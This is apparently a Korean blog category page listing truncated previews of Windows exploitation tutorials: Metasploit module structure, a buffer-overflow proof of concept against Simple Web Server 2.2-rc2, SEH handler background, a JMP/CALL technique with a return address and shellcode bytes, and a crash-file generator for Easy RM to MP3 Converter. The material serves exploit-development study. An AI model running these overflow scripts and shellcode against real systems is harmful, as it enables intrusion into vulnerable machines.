목록Windows (12)
cgy12306

메타스플로잇 Exploit 모듈 구조 헤더와 의존성 코드 해당 exploit 모듈에 대한 간단한 설명 require 'msf/core' 클래스 정의 includes 'def' 정의 : initialize / check(optionale) / exploit simple web server 2.2-rc2 버전을 사용할 것 이다. 해당 프로그램은 웹서버의 역할들 도와주는 애플리케이션이다. A를 3000 보내보자. from pwn import * r = remote('192.168.126.187', 80) payload = 'A' * 3000 header = 'GET /index.html HTTP/1.0\r\n' header += 'Connection:' + payload + '\r\n\r\n' r.send(h..

예외 핸들러 예외 핸들러(Exception Handler)는 애플리케이션의 예외 발생에 대처하는 목적을 가진 애플리케이션 내부 코드 조각들을 의미한다. try{ 일반 상황 } catch{ 예외 상황 } 윈도우에서 보여주는 메시지(오류 팝업창)는 예외 핸들러에 의해 발생된다. 애플리케이션이 catch 코드로 이동하기 위해, 예외 핸들러 지시 포인터가 스택에 저장된다. 각각 코드 블럭은 고유의 스택 프레임을 가지게 되고, 예외 핸들러 지시 포인터는 이 스택 프레임에 포함된다. 프레임 기반 예외 핸들러에 대한 정보는 스택의 exception_registration 구조체 안에 저장된다. 이 구조체(SEH 레코드)는 8byte로 구성되어 있다. 메인 데이터 블록의 최상위 부분에 SEH 체인을 가리키는 포인터가 ..

JMP or CALL 공격자는 쉘코드의 주소를 가진 레지스터를 기본적으로 사용하며, 그 주소를 EIP에 넣어 공격을 하게 된다. 그렇기 때문에 공격자는 애플리케이션이 실행될 때 로딩되는 DLL들 중 하나의 레지스터로 점프하거나 CALL 하는 기계어를 찾아야 한다. 또한 특정 메모리 주소로 EIP를 덮어쓰는 대신 특정 레지스터로 점프하는 주소를 EIP에 주입해야 한다. 그리고 이 주소에는 NULL 값을 포함해서는 안된다. from pwn import * payload = 'A' * (25000+1067) payload += p32(0x7c8369f0) payload += 'A' * 4 payload += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1..

Easy RM to MP3 Converter에 존재하는 취약점을 예로 exploit을 할 것이다. 다음과 같이 python 스크립트를 작성한다. from pwn import * payload = 'A'*10000 f = open('./crash.m3u', 'w') f.write(payload) f.close A를 10000개를 crash.m3u라는 파일에 작성하는 코드이다. 실행해보면 crash.m3u 파일이 생성이 되는 것을 볼 수 있다. 이 파일을 Easy RM to MP3 Converter에서 실행시키면 다음과 같이 에러 메시지를 출력한다. A를 30000개 보냈을 때 crash가 발생한다. from pwn import * payload = 'A'*30000 f = open('./crash.m3u'..